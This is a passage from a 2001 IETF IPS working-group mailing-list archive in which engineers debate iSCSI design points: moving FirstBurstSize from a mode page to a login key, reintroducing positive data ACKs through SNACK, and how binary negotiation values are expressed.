to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Mon Sep 24 21:44:13 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA05895 for ; Mon, 24 Sep 2001 21:44:13 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P0Yko04584 for ips-outgoing; Mon, 24 Sep 2001 20:34:46 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P0YhP04576 for ; Mon, 24 Sep 2001 20:34:44 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id B5506807 for ; Mon, 24 Sep 2001 17:34:39 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id RAA06075 for ; Mon, 24 Sep 2001 17:34:35 -0700 (PDT) Message-ID: <3BAFD2A6.C5B0C443@cup.hp.com> Date: Mon, 24 Sep 2001 17:41:10 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iscsi : default iscsi mode page settings. References: <00d101c14554$c0498e60$9600000a@daniel> Content-Type: multipart/mixed; boundary="------------DBFF22AE9C89482F3DAF1743" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------DBFF22AE9C89482F3DAF1743 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Hi, I suggest the following simplifications to the iscsi draft on the subject of mode pages : 1) Disconnect reconnect Mode Page =========================== * The FirstBurstSize field be moved to a login key and this field be declared as reserved. 2) LUN Control Mode Page ===================== I suggest this mode page be removed from the iscsi draft. There's no need for iscsi to be using a "Enable CRN" field, since it supports the CRN field in its SCSI Command PDU from its initial revs. I'm not sure if this field is intended to check the ability of the target SCSI transport or the target's application client or both (?). IMO, there's no need for iscsi to negotiate CRN support at a transport level. If the SCSI ULP needs to determine support for CRN by the target application client, this is the job of a bit in the "Control Mode Page" or some other SCSI ULP mode page, not in a protocol dependent mode page. If iscsi initiators receive a CRN in its command requests from their SCSI ULP (device server), they must initialize the CRN in the scsi command pdu with this value and transmit the command. The target iscsi layer hands over the command to the target SCSI ULP (application client) along with its CRN. CRN support and ordering is the subject of peer SCSI ULP layers. iscsi must have nothing to do with this. Thanks, Santosh "Sanjeev Bhagat (TRIPACE/Zoetermeer)" wrote: > Julian, Santosh, > > Can we make all the SCSI mode page paramters be made as login keys? Why > should they be kept in a seperate mode page at all?? > > Sanjeev > ----- Original Message ----- > From: "John Hufferd" > To: "Santosh Rao" > Cc: "Julian Satran" ; > Sent: Monday, September 24, 2001 10:34 PM > Subject: Re: iscsi : default iscsi mode page settings. > > > > > In addition to what Santosh said, If I understand this right, > > I think it is a problem for iSCSI to have to keep going across layers to > > determine what the values are. Since iSCSI Target will not see the CDB > > that caused the values to change. > > > > Now if the value in the mode page is only the default, that would be a > > different issue. > > > > . > > . > > . > > John L. Hufferd > > Senior Technical Staff Member (STSM) > > IBM/SSG San Jose Ca > > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > > Home Office (408) 997-6136 > > Internet address: hufferd@us.ibm.com > > > > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > > > Sent by: owner-ips@ece.cmu.edu > > > > > > To: Julian Satran/Haifa/IBM@IBMIL > > cc: ips@ece.cmu.edu > > Subject: Re: iscsi : default iscsi mode page settings. > > > > > > > > Julian Satran wrote: > > > > > I can sympathize with you wanting to use most of the parameters in iSCSI > > - > > > but the values are in fact restrictions that SCSI places on iSCSI. > > > > Julian, > > > > I'm confused by your response. > > > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > > "The parameters appropriate to each protocol and their interpretation for > > that protocol may > > be specified in the individual protocol documents". > > > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > > the pSCSI > > transport. Thus, iscsi is within its rights to declare this field as > > reserved and attach no > > meaning to it in the mode page. The FirstBurstSize can be negotiated > during > > iscsi login > > through a login key. > > > > > > > Nevertheless the discussion is rather academic because SCSI can hand > > those > > > parameters to iSCSI. > > > > Again, I'm confused by your response. The reasons I'm suggesting the use > of > > a login key > > instead of the mode page method are : > > > > * More accurate scope (applies only to this I-T nexus). > > > > * More optimal negotiation and reduced overhead in the establishment of > > the I-T nexus. (2 > > less SCSI commands per I-T nexus establishment.). > > > > * Enables faster I/O scan times due to lesser on-the-wire activity > > during I-T nexus > > establishment. > > > > * Allows less room for error in the I-T nexus establishment (no > > possiblity of failure to > > establish I-T nexus due to mode sense/select command failure). > > > > * Avoids mode select wars that can occur when target uses shared mode > > pages. > > > > * Simpler initiator implementations since they can avoid embedding SCSI > > command set > > knowledge as well as code to build/parse SCSI commands. Also, they > can > > avoid extra code > > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > > ="mode parameters > > changed") in order to re-issue a mode sense to determine new values > > for FirstBurstSize. > > > > * Less code to interact with SCSI ULP application client to co-ordinate > > the mode page > > values b/n the ULP & LLP. > > > > * Can use un-solicited data from the very first scsi command in the > > session. > > > > I don't consider any of the above reasons to be academic and would like to > > know which ones > > among the above do you believe are academic and why ? > > > > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > > handling this type of negotiation dynamically over several connections. > > > > This is exactly the kind of stuff we don't need and should actually be > > trying to avoid. What > > good does dynamically changing FirstBurstSize serve ? Dynamically changing > > FirstBurstSize > > would only be achieved with least side-effects if : > > 1) The mode select implementation on target is not using shared mode > pages. > > 2) The initiator has quiesced I/O prior to issuing the mode select for the > > change. > > > > Neither of the above 2 conditions would typically apply and any dynamic > > change of > > FirstBurstSize would only cause initiators to see a bunch of side-effects > > such as : > > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due > to > > "not enough > > un-solicited data". > > b) UA CHECK CONDITION for "mode parameters changed". > > > > In the interests of simplification and avoiding disruption of active I/O, > > such modifications > > must be avoided as far as possible. One way to achieve that is to use a > > login key and make > > it LO. > > > > > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > > > Once again, I'm perplexed by your response. I'm not saying that text mode > > negotiation is the > > reason I suggest moving this to a login key. The main objective is to > > isolate such > > negotiation within the iscsi layer in an iscsi specific PDU that is a part > > of the iscsi > > login process. > > > > Hope you will consider all of the above factors. > > > > Thanks, > > Santosh > > > > ps : [I wonder if there are any others on this list who care to voice > their > > opinion on this > > issue. (??). ] > > > > > > > > > > > > --------------DBFF22AE9C89482F3DAF1743 Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------DBFF22AE9C89482F3DAF1743-- From owner-ips@ece.cmu.edu Mon Sep 24 21:48:52 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id VAA05922 for ; Mon, 24 Sep 2001 21:48:52 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P19uG06477 for ips-outgoing; Mon, 24 Sep 2001 21:09:56 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from palrel1.hp.com (palrel1.hp.com [156.153.255.242]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P19sP06473 for ; Mon, 24 Sep 2001 21:09:54 -0400 (EDT) Received: from hpcuhe.cup.hp.com (hpcuhe.cup.hp.com [15.0.80.203]) by palrel1.hp.com (Postfix) with ESMTP id 5CA3D72E for ; Mon, 24 Sep 2001 18:09:50 -0700 (PDT) Received: from cup.hp.com (santoshr@hpindhhm.cup.hp.com [15.8.80.197]) by hpcuhe.cup.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit7.02) with ESMTP id SAA07678 for ; Mon, 24 Sep 2001 18:09:46 -0700 (PDT) Message-ID: <3BAFDAE4.D31674DF@cup.hp.com> Date: Mon, 24 Sep 2001 18:16:21 -0700 From: Santosh Rao Organization: Hewlett Packard, Cupertino. X-Mailer: Mozilla 4.7 [en] (X11; U; HP-UX B.11.00 9000/778) X-Accept-Language: en MIME-Version: 1.0 To: ips@ece.cmu.edu Subject: Re: iSCSI - positive data ack - change proposal References: Content-Type: multipart/mixed; boundary="------------22F73ADCDCF006DD85AD398B" Sender: owner-ips@ece.cmu.edu Precedence: bulk This is a multi-part message in MIME format. --------------22F73ADCDCF006DD85AD398B Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Julian, I'm opposed to any use of out-of-band techniques by initiators to perform acks of data-in pdu's. If at all this level of data ack is required, I would like to suggest a simpler in-band ack mechanism which is that targets number all PDUs that are transmitted from target to initiator with a sequence number. (say, InboundSN) on a per connection basis. Initiators can then acknowledge inbound PDUs as they are received by sending ExpInboundSN updates on outbound PDUs. Such a technique is simpler to implement for initiators, less expensive in terms of resources and does not impact performance. Specific to your proposal below, I am concerned about the data ack's being based at sequence boundaries (thru the use of F bit in data-in PDU to indicate "Data ACK" required). This may result in data ack's being generated too frequently. The data ack boundaries should be signalled through a seperate bit rather than over-riding the semantics of the F bit. That said, I am opposed to the below proposal for all the reasons outlined earlier + the above. IF a data ack scheme is required (I did'nt hear enough "yes" calls to over-ride the Orlando WG consensus (?) ), then, I would favor an in-band technique such as the one suggested in this mail, wherein no extra PDUs are required from initiator to target for the sole purpose of acknowledging another inbound PDU or set of inbound PDUs. Thanks, Santosh Julian Satran wrote: > Here is updated version (in the previous I had excluded the sequences ended > with Status with no good reason. > > Julo > > (See attached file: ack.txt) > > ----- Forwarded by Julian Satran/Haifa/IBM on 23-09-01 04:41 ----- > > > Julian Satran > To: ips@ece.cmu.edu > 22-09-2001 cc: > 14:04 From: Julian Satran/Haifa/IBM@IBMIL > Subject: iSCSI - positive data ack - change > proposal > > > > > Dear colleagues, > > As I mentioned earlier all the elements needed for positive data-ack are > already in place. > > I am suggesting the following changes to the document to reintroduce the > data-ACK. > > Comments? > > Julo > > **** Attachment ack.txt has been removed from this note on 23 September > 2001 by Julian Satran **** > > ------------------------------------------------------------------------ > Within 2.2.2.3 > --------------- > > Initiators MAY also acknowledge received data and reduce by this the resources a target needs to dedicate to data recovery if target and initiator support this type of recovery. > > ------ > 3.7.1 F (Final) Bit > > For outgoing data, this bit is 1 for the last PDU of unsolicited data or the last PDU of a sequence answering an R2T. > > For incoming data, this bit is 1 for the last input (read) data PDU of a sequence. Input can be split in several sequences each one having it's own F bit. Splitting in sequences does not affect DataSN counting on Data-In PDUs but MAY be used as a "change direction" indication for Bidirectional operations that need such a change and/or end of recoverable sequences by targets with a limited retransmission buffer. Upon receiving an Data-In PDU with the F set to 1 in a session with ErrorRecoveryLevel 1 or higher the initiator MUST issue a DataACK type of SNACK indicating the next expected DataSN for this task. > > For Bidirectional operations, the F bit is 1 both for the end of the input sequences as well as the end of the output sequences. > > > ----------- > > 3.16 SNACK Request > > Byte / 0 | 1 | 2 | 3 | > / | | | | > |7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0|7 6 5 4 3 2 1 0| > +---------------+---------------+---------------+---------------+ > 0|0|1| 0x10 |1|Rsrvd| Type | Reserved | > +---------------+---------------+---------------+---------------+ > 4/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 16| Initiator Task Tag or 0xffffffff | > +---------------+---------------+---------------+---------------+ > 20| BegRun | > +---------------+---------------+---------------+---------------+ > 24| RunLength | > +---------------+---------------+---------------+---------------+ > 28| ExpStatSN | > +---------------+---------------+---------------+---------------+ > 32| Reserved | > +---------------+---------------+---------------+---------------+ > 36| ExpDataSN or Reserved | > +---------------+---------------+---------------+---------------+ > 32/ Reserved / > +/ / > +---------------+---------------+---------------+---------------+ > 48 > > Support for SNACK is optional. > > SNACK request is used to request retransmission of numbered-responses, data or R2T PDUs from the target. The SNACK request indicates to the target the missed numbered-response or data run, where the run is composed of an initial missed StatSN, DataSN or R2TSN and the number of additional missed Status, Data or R2T PDUs (0 means only the initial). > > The numbered-response, Data or R2T PDUs requested by a SNACK have to be delivered as exact replicas of the ones the initiator missed including all its flags. > > Any SNACK requesting a numbered-response, Data or R2T that was not sent by the target MUST be rejected with a reason code of "Invalid SNACK". > > SNACK is also used to positively acknowledge Data-In PDUs. > > 3.16.1 Type > > This field encodes the SNACK function as follows: > > 0-Data/R2T SNACK - requesting retransmission of a Data-In or R2T PDU > 1-Status SNACK - requesting retransmission of a numbered response > 2-DataACK - positively acknowledges Data-In PDUs > > All other values are reserved. > > Data/R2T SNACK for a command MUST precede status acknowledgement for the given command. > > For a Data/R2T SNACK or a DataACK, the Initiator Task Tag MUST be set to the Initiator Task Tag of the referenced Command. Otherwise, it is reserved. > > For a Status SNACK the ExpDataSN field is reserved. > > An iSCSI target that does not support recovery within connection MAY discard status SNACK. If the target supports command recovery within session it MAY discard the SNACK after which it MUST issue an Asynchronous Message PDU with an iSCSI event indicating "Request Logout". > > If an initiator operates at ErrorRecoveryLevel 1 or higher it MUST issue a SNACK of type DataACK after receiving a Data-In PDU with the F bit set to 1. > > 3.16.2 BegRun > > First missed DataSN, R2TSN or StatSN > > 3.16.3 RunLength > > RunLength is the number of sequential missed DataSN, R2TSN or StatSN. RunLength 0 signals that all Data-In, R2T or Response PDUs carrying numbers equal or greater to BegRun have to be resent. --------------22F73ADCDCF006DD85AD398B Content-Type: text/x-vcard; charset=us-ascii; name="santoshr.vcf" Content-Description: Card for Santosh Rao Content-Disposition: attachment; filename="santoshr.vcf" Content-Transfer-Encoding: 7bit begin:vcard n:Rao;Santosh tel;work:408-447-3751 x-mozilla-html:FALSE org:Hewlett Packard, Cupertino.;SISL adr:;;19420, Homestead Road, M\S 43LN, ;Cupertino.;CA.;95014.;USA. version:2.1 email;internet:santoshr@cup.hp.com title:Software Design Engineer x-mozilla-cpt:;21088 fn:Santosh Rao end:vcard --------------22F73ADCDCF006DD85AD398B-- From owner-ips@ece.cmu.edu Mon Sep 24 23:24:28 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA07816 for ; Mon, 24 Sep 2001 23:24:28 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P277u09560 for ips-outgoing; Mon, 24 Sep 2001 22:07:07 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from cleitus.hosting.pacbell.net (cleitus.hosting.pacbell.net [216.100.99.17]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P273P09550 for ; Mon, 24 Sep 2001 22:07:04 -0400 (EDT) Received: from somesh (sdsl-64-139-0-182.dsl.sca.megapath.net [64.139.0.182]) by cleitus.hosting.pacbell.net id WAA01914; Mon, 24 Sep 2001 22:06:47 -0400 (EDT) [ConcentricHost SMTP Relay 1.7] Reply-To: From: "Somesh Gupta" To: "Julian Satran" , Subject: RE: iSCSI: SNACK R2T/Data Date: Mon, 24 Sep 2001 19:05:56 -0700 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0) X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2919.6700 Importance: Normal In-Reply-To: Sender: owner-ips@ece.cmu.edu Precedence: bulk Content-Transfer-Encoding: 7bit I unfortunately have been busy elsewhere. Yes, I was, and continue to be strenously opposed to complexity, and ACKs were a manifestation of that. Since we seem to be in a bit of a mudslinging mode here, the spec now contains far more complexity than at that time (the consensus of the room was not use to use ACKs, nobody imagined they would come back as NACKs otherwise we would have gotten consensus on that also). Unfortunately, we will now end up with both ACKs and NACKs. I feel this whole thing is based on some data and requirements that are quite unconvincing. Somesh > -----Original Message----- > From: owner-ips@ece.cmu.edu [mailto:owner-ips@ece.cmu.edu]On Behalf Of > Julian Satran > Sent: Wednesday, September 19, 2001 11:22 AM > To: ips@ece.cmu.edu > Subject: RE: iSCSI: SNACK R2T/Data > Importance: High > > > > Matthew, > > I am also in favor of such a mechanism. It is easy to implement (another > form of SNACK) and we have already built-in a mechanism by which > an inbound > stream can be marked for acking (the inbound sequence separator F bit). > It can also be specified as mandated only if the within-command recovery > class is present. > > However I am reluctant to open again this issue except if there are more > supporters. Data ACKs where hastily dropped at the interim meeting in > Orlando. I recall Somesh Gupta, Pierre Labat and Santosh Rao as > being very > vocal against them (arguing complexity) and carrying the room with them. > > Julo > > > > > > "BURBRIDGE,MATTH > > EW To: Julian > Satran/Haifa/IBM@IBMIL, > (HP-UnitedKingdo ips@ece.cmu.edu > > m,ex2)" cc: > > iSCSI: SNACK R2T/Data > ge@hp.com> > > > > 19-09-01 17:25 > > Please respond > > to > > "BURBRIDGE,MATTH > > EW > > (HP-UnitedKingdo > > m,ex2)" > > > > > > > > > > I am very much in favour of having a positive ACK mechanism to control > buffer resources at the target. If there is a very large transfer (e.g. 1 > Mb) then the sender can release buffer space once it knows that the > receiver > has received the data. It is worth pointing out that this > mechanism is for > buffer control and is not for flow control which, as we all know, is > handled > by TCP. > > Cheers > > Matthew Burbridge > Senior Development Engineer > NIS-Bristol > Hewlett Packard > Telnet: 312 7010 > E-mail: matthewb@bri.hp.com > > > > > -----Original Message----- > From: Julian Satran [mailto:Julian_Satran@il.ibm.com] > Sent: Wednesday, September 19, 2001 6:28 AM > To: ips@ece.cmu.edu > Subject: Re: iSCSI: SNACK R2T/Data > > > There is no ACK mechanism. The group wisdom was that there is no need for > one. > Incoming data and R2Ts are not acked (a mechanism that did that > existed and > was based on NOP-Out). > > Julo > > Michael Schoberg on 18-09-2001 19:09:51 > > Please respond to Michael Schoberg > > To: "'ips@ece.cmu.edu'" , Julian Satran/Haifa/IBM@IBMIL > cc: > Subject: iSCSI: SNACK R2T/Data > > > > Old subject, but I couldn't find any discussion on this: > > When does the target know it no longer needs to hold R2T & Data PDUs? > StatSN responses are acknowledged through the ExpStatSN field received in > future I->T requests. What's the acknowledgement method for R2T & Data > PDUs? Is it tied to the original request and acknowledged through the > ExpStatSN acknowledgment of the request's response? > > Thanks. > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 03:51:50 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id DAA25228 for ; Tue, 25 Sep 2001 03:51:50 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P6S9O22704 for ips-outgoing; Tue, 25 Sep 2001 02:28:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from d12lmsgate.de.ibm.com (d12lmsgate.de.ibm.com [195.212.91.199]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P6S5P22697 for ; Tue, 25 Sep 2001 02:28:06 -0400 (EDT) Received: from d12relay01.de.ibm.com (d12relay01.de.ibm.com [9.165.215.22]) by d12lmsgate.de.ibm.com (1.0.0) with ESMTP id IAA94932 for ; Tue, 25 Sep 2001 08:27:58 +0200 Received: from d10hubm1.telaviv.ibm.com (d10ml001.telaviv.ibm.com [9.148.216.55]) by d12relay01.de.ibm.com (8.11.1m3/NCO v4.97.1) with ESMTP id f8P6RuB245434 for ; Tue, 25 Sep 2001 08:27:56 +0200 Subject: Re: iscsi : default iscsi mode page settings. To: ips@ece.cmu.edu X-Mailer: Lotus Notes Release 5.0.8 June 18, 2001 Message-ID: From: "Julian Satran" Date: Tue, 25 Sep 2001 09:28:15 +0300 X-MIMETrack: Serialize by Router on D10ML001/10/M/IBM(Release 5.0.8 |June 18, 2001) at 25/09/2001 09:27:56 MIME-Version: 1.0 Content-type: text/plain; charset=us-ascii Sender: owner-ips@ece.cmu.edu Precedence: bulk Sanjeev, We can set any of those parameters wherever you want as its clearly a protocol prerogative. The one thing that I am trying to avoid is having one parameter being handled in two ways (It caused me more trouble that it was worth in the past and required a lot of logic). As such we have two consideration when selecting location: legacy what layer is the most affected by it It looks to me that association of sink buffers at targets is mostly a SCSI issue and it is dependent on the device type, the relative speed of the transport and device, QOS requirements at device. Data is already in the SCSI realm (not anymore individual PDUs but sequences that are governed by SCSI needs and (including fairness rules between LUs attached to the same bus). That is why we have those bursts - iSCSI does not need them - SCSI may need them for multiplexing and buffer limitations of its own. As far as iSCSI is concerned bursts are just trouble. But without them a pipe with a limited window will serve one LU and even beyond it's real capabilites. The multiplexing capability is needed by SCSI and is offered in different ways on different transports. Some "buses" have a "built-in" multiplexing capability. TCP does not and iSCSI adds it to it by the "burst limitation". All this said and based on an earlier comment made by Bob Snively that this could be a good criteria for splitting parameters between text and mode pages - I think that the split we have now, even if not built according to every developers wet dreams, is reasonable. Julo "Sanjeev Bhagat \(TRIPACE/Zoetermee To: "Santosh Rao" , John r\)" Hufferd/San Jose/IBM@IBMUS Subject: Re: iscsi : default iscsi mode page 25-09-01 01:58 settings. Please respond to "Sanjeev Bhagat \(TRIPACE/Zoetermee r\)" Julian, Santosh, Can we make all the SCSI mode page paramters be made as login keys? Why should they be kept in a seperate mode page at all?? Sanjeev ----- Original Message ----- From: "John Hufferd" To: "Santosh Rao" Cc: "Julian Satran" ; Sent: Monday, September 24, 2001 10:34 PM Subject: Re: iscsi : default iscsi mode page settings. > > In addition to what Santosh said, If I understand this right, > I think it is a problem for iSCSI to have to keep going across layers to > determine what the values are. Since iSCSI Target will not see the CDB > that caused the values to change. > > Now if the value in the mode page is only the default, that would be a > different issue. > > . > . > . > John L. Hufferd > Senior Technical Staff Member (STSM) > IBM/SSG San Jose Ca > Main Office (408) 256-0403, Tie: 276-0403, eFax: (408) 904-4688 > Home Office (408) 997-6136 > Internet address: hufferd@us.ibm.com > > > Santosh Rao @ece.cmu.edu on 09/24/2001 12:28:43 PM > > Sent by: owner-ips@ece.cmu.edu > > > To: Julian Satran/Haifa/IBM@IBMIL > cc: ips@ece.cmu.edu > Subject: Re: iscsi : default iscsi mode page settings. > > > > Julian Satran wrote: > > > I can sympathize with you wanting to use most of the parameters in iSCSI > - > > but the values are in fact restrictions that SCSI places on iSCSI. > > Julian, > > I'm confused by your response. > > The SPC-2 description of Disconnect-Reconnect mode page indicates that : > "The parameters appropriate to each protocol and their interpretation for > that protocol may > be specified in the individual protocol documents". > > FYI, SPI[-4] has chosen not to attach any semantics to FirstBurstSize for > the pSCSI > transport. Thus, iscsi is within its rights to declare this field as > reserved and attach no > meaning to it in the mode page. The FirstBurstSize can be negotiated during > iscsi login > through a login key. > > > > Nevertheless the discussion is rather academic because SCSI can hand > those > > parameters to iSCSI. > > Again, I'm confused by your response. The reasons I'm suggesting the use of > a login key > instead of the mode page method are : > > * More accurate scope (applies only to this I-T nexus). > > * More optimal negotiation and reduced overhead in the establishment of > the I-T nexus. (2 > less SCSI commands per I-T nexus establishment.). > > * Enables faster I/O scan times due to lesser on-the-wire activity > during I-T nexus > establishment. > > * Allows less room for error in the I-T nexus establishment (no > possiblity of failure to > establish I-T nexus due to mode sense/select command failure). > > * Avoids mode select wars that can occur when target uses shared mode > pages. > > * Simpler initiator implementations since they can avoid embedding SCSI > command set > knowledge as well as code to build/parse SCSI commands. Also, they can > avoid extra code > that is required to snoop for CHECK CONDITION with (sense key=UA, ASC > ="mode parameters > changed") in order to re-issue a mode sense to determine new values > for FirstBurstSize. > > * Less code to interact with SCSI ULP application client to co-ordinate > the mode page > values b/n the ULP & LLP. > > * Can use un-solicited data from the very first scsi command in the > session. > > I don't consider any of the above reasons to be academic and would like to > know which ones > among the above do you believe are academic and why ? > > > > SCSI can handle those parameters dynamically. iSCSI may have trouble > > handling this type of negotiation dynamically over several connections. > > This is exactly the kind of stuff we don't need and should actually be > trying to avoid. What > good does dynamically changing FirstBurstSize serve ? Dynamically changing > FirstBurstSize > would only be achieved with least side-effects if : > 1) The mode select implementation on target is not using shared mode pages. > 2) The initiator has quiesced I/O prior to issuing the mode select for the > change. > > Neither of the above 2 conditions would typically apply and any dynamic > change of > FirstBurstSize would only cause initiators to see a bunch of side-effects > such as : > a) Active outbound I/Os aborted by the target with a CHECK CONDITION due to > "not enough > un-solicited data". > b) UA CHECK CONDITION for "mode parameters changed". > > In the interests of simplification and avoiding disruption of active I/O, > such modifications > must be avoided as far as possible. One way to achieve that is to use a > login key and make > it LO. > > > > > > Resource-wise (as Bob Snively has pointed out) those are SCSI issues. > > > > A nice way out would be to ask T10 for a text mode negotiaton :-) > > Once again, I'm perplexed by your response. I'm not saying that text mode > negotiation is the > reason I suggest moving this to a login key. The main objective is to > isolate such > negotiation within the iscsi layer in an iscsi specific PDU that is a part > of the iscsi > login process. > > Hope you will consider all of the above factors. > > Thanks, > Santosh > > ps : [I wonder if there are any others on this list who care to voice their > opinion on this > issue. (??). ] > > > > > > From owner-ips@ece.cmu.edu Tue Sep 25 06:29:31 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26594 for ; Tue, 25 Sep 2001 06:29:30 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P9NqR11458 for ips-outgoing; Tue, 25 Sep 2001 05:23:52 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P9NoP11454 for ; Tue, 25 Sep 2001 05:23:50 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 1E7C96394 for ; Tue, 25 Sep 2001 08:54:27 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id HAA01867 for ; Tue, 25 Sep 2001 07:54:26 +0100 (BST) Received: from 15.145.8.186 by fowey.BR.ITC.HP.COM (InterScan E-Mail VirusWall NT); Tue, 25 Sep 2001 07:53:15 +0100 (GMT Daylight Time) Received: by fowey.br.itc.hp.com with Internet Mail Service (5.5.2653.19) id ; Tue, 25 Sep 2001 07:53:15 +0100 Message-ID: <0B9A57FF1D57D411B47500D0B73E5CC101E7A914@dickens.bri.hp.com> From: "BURBRIDGE,MATTHEW (HP-UnitedKingdom,ex2)" To: ips@ece.cmu.edu Subject: RE: iSCSI: binary values Date: Tue, 25 Sep 2001 07:54:25 +0100 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-ips@ece.cmu.edu Precedence: bulk To that extent why not replace "yes" with "1" and "no" with "0". It's easier to understand (arguably) and it fits the numerical negotiations. Matthew -----Original Message----- From: Eddy Quicksall [mailto:EQuicksall@mediaone.net] Sent: Friday, September 21, 2001 9:49 PM To: ips@ece.cmu.edu Subject: iSCSI: binary values In "numerical" negotiations, the offering and responding party state a numerical value. The result of the negotiation is key dependent; frequently the lower or the higher of the two values is used. Binary negotiations (for keys taking the values yes or no) are a restricted form of numerical negotiations and, as in the general numerical case, the result is key dependent. Would it help to specify that "yes" is less than "no" (or visa versa)? Then the binary explanation would be even more consistent with the referenced numerical case. Eddy_Quicksall@iVivity.com From owner-ips@ece.cmu.edu Tue Sep 25 06:46:20 2001 Received: from ece.cmu.edu (ECE.CMU.EDU [128.2.136.200]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id GAA26721 for ; Tue, 25 Sep 2001 06:46:20 -0400 (EDT) Received: (from majordom@localhost) by ece.cmu.edu (8.11.0/8.10.2) id f8P9v9L12856 for ips-outgoing; Tue, 25 Sep 2001 05:57:09 -0400 (EDT) X-Authentication-Warning: ece.cmu.edu: majordom set sender to owner-ips@ece.cmu.edu using -f Received: from bramg1.net.external.hp.com (bramg1.net.external.hp.com [192.6.126.73]) by ece.cmu.edu (8.11.0/8.10.2) with ESMTP id f8P9v7P12850 for ; Tue, 25 Sep 2001 05:57:07 -0400 (EDT) Received: from quasit.br.itc.hp.com (quasit.br.itc.hp.com [15.145.8.135]) by bramg1.net.external.hp.com (Postfix) with ESMTP id 05CC02276; Mon, 24 Sep 2001 13:36:33 +0200 (METDST) Received: from fowey.BR.ITC.HP.COM (fowey.br.itc.hp.com [15.145.8.186]) by quasit.br.itc.hp.com (8.9.3 (PHNE_18979)/8.9.3 SMKit6.0.6 OpenMail) with SMTP id MAA28993; Mon, 24 Sep 2001 12:36:27 +0100 (BST) Received: from 15.145.8.186 by 